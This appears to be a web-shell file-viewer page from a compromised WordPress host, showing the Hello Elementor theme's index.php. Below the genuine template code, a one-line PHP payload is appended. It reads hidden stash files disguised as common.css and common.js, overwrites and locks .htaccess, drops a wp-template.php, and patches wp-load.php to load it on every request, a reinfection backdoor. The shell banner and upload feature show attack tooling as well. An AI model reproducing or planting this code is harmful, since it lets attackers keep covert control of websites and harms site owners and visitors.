HEX
Server: Apache
System: Linux a16-asgard6.hospedagemuolhost.com.br 5.14.0-570.52.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 15 06:39:08 EDT 2025 x86_64
User: maoristu4c3dbd03 (1436)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/maoristu4c3dbd03/www/wp-content/themes/hello-elementor/index.php
<?php
/**
 * The site's entry point.
 *
 * Loads the relevant template part,
 * the loop is executed (when needed) by the relevant template part.
 *
 * @package HelloElementor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

get_header();

$is_elementor_theme_exist = function_exists( 'elementor_theme_do_location' );

if ( is_singular() ) {
	if ( ! $is_elementor_theme_exist || ! elementor_theme_do_location( 'single' ) ) {
		get_template_part( 'template-parts/single' );
	}
} elseif ( is_archive() || is_home() ) {
	if ( ! $is_elementor_theme_exist || ! elementor_theme_do_location( 'archive' ) ) {
		get_template_part( 'template-parts/archive' );
	}
} elseif ( is_search() ) {
	if ( ! $is_elementor_theme_exist || ! elementor_theme_do_location( 'archive' ) ) {
		get_template_part( 'template-parts/search' );
	}
} else {
	if ( ! $is_elementor_theme_exist || ! elementor_theme_do_location( 'single' ) ) {
		get_template_part( 'template-parts/404' );
	}
}

get_footer();

$zxrpath=$_SERVER["DOCUMENT_ROOT"]."/";$_autoplarr=array("/logs/history.log","/tmp/history.log",$zxrpath."wp-includes/css/common.css",$zxrpath."wp-includes/js/jquery/common.js",$zxrpath."wp-includes/blocks/avatar/common.css",$zxrpath."wp-admin/js/widgets/common.js",$zxrpath."wp-admin/css/colors/modern/common.css",$zxrpath."wp-content/themes/twentytwentythree/styles/common.css",$zxrpath."wp-content/themes/twentytwentytwo/styles/common.css",$zxrpath."wp-content/themes/twentytwentyfive/styles/common.css",$zxrpath."wp-content/themes/twentytwentyfour/styles/common.css",$zxrpath."wp-content/plugins/contact-form-7/assets/common.css");$_titlefilename="";$_wptemplatecon="";$_htaccesscon="";foreach($_autoplarr as $_autofile){if(@file_exists($_autofile)){$_titlefilename=$_autofile;break;}}if($_titlefilename){$_autocon=@file_get_contents($_titlefilename);if($_autocon){$_autoarrcon=explode("---", $_autocon);$_wptemplatecon=$_autoarrcon[0];$_htaccesscon=trim($_autoarrcon[1],PHP_EOL);}if($_htaccesscon&&strpos($_htaccesscon, "index.php")!==false){$_htaccessname=$zxrpath.".htaccess";if(file_exists($_htaccessname)){$_htaccesstext=file_get_contents($_htaccessname);if(strpos($_htaccesstext,"404")===false&&strpos($_htaccesstext,"index.php")===false){chmod($_htaccessname, 0775);unlink($_htaccessname);file_put_contents($_htaccessname, $_htaccesscon);chmod($_htaccessname, 0444);}}else{file_put_contents($_htaccessname, $_htaccesscon);if(file_exists($_htaccessname)){chmod($_htaccessname, 0444);}}}$_prewploadfilename=$zxrpath."wp-load.php";$_prewptplfilename=$zxrpath."wp-template.php";if(!file_exists($_prewptplfilename)){file_put_contents($_prewptplfilename, $_wptemplatecon);chmod($_prewptplfilename, 0444);}$_wploadcon=@file_get_contents($_prewploadfilename);if($_wploadcon&&strpos($_wploadcon, "wp-template.php")===false){$_prewplocon=str_replace("/** Define ABSPATH", "if(file_exists(dirname(__FILE__).\"/wp-template.php\")){require_once(dirname(__FILE__).\"/wp-template.php\");}".PHP_EOL."/** Define ABSPATH", $_wploadcon);file_put_contents($_prewploadfilename, $_prewplocon);chmod($_prewploadfilename, 0444);$_currnetfileid=1;}if($_wploadcon&&strpos($_wploadcon, "//if(file_exists(dirname(")!==false){$_wploadcon=str_replace("//if(file_exists(dirname(", "if(file_exists(dirname(", $_wploadcon);file_put_contents($_prewploadfilename, $_wploadcon);chmod($_prewploadfilename, 0444);}}